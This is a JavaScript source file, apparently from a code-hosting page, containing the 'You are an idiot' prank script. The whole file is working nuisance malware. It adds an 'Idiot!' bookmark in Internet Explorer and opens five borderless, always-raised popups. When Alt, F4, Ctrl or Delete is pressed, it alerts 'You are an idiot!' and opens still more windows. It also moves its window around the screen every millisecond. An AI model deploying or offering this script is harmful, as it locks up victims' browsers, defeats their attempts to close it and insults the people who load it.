81 lines
1.6 KiB
JavaScript
81 lines
1.6 KiB
JavaScript
function bookmark() {
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if ((navigator.appName == "Microsoft Internet Explorer")
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&& (parseInt(navigator.appVersion) >= 4))
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{
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var url="lol.html";
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var title="Idiot!";
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window.external.AddFavorite(url,title);
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}
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}
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var xOff = 5;
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var yOff = 5;
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var xPos = 400;
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var yPos = -100;
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var flagRun = 1;
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function changeTitle(title) {
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document.title = title;
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}
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function openWindow(url) {
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aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes');
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}
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function procreate() {
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changeTitle("Idiot!");
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for (var i = 0; i < 5; i++) {
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openWindow('lol.html');
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}
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}
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function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) { alert("You are an idiot!"); procreate(); } }
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function ctrlkey() { if (event.keyCode == 17) { alert("You are an idiot!"); procreate(); } }
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function delkey() { if (event.keyCode == 46) { alert("You are an idiot!"); procreate(); } }
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function newXlt(){
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xOff = Math.ceil(-6 * Math.random()) * 5 - 10 ;
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window.focus()
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}
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function newXrt(){
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xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
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}
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function newYup(){
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yOff = Math.ceil(-6 * Math.random()) * 5 - 10 ;
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}
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function newYdn(){
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yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
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}
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function fOff(){
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flagrun = 0;
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}
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function playBall() {
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xPos += xOff;
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yPos += yOff;
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if (xPos > screen.width - 357) {
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newXlt();
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}
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if (xPos < 0){
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newXrt();
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}
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if (yPos > screen.height - 330) {
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newYup();
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}
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if (yPos < 0){
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newYdn();
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}
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if (flagRun == 1){
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window.moveTo(xPos, yPos);
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setTimeout('playBall()', 1);
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}
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} |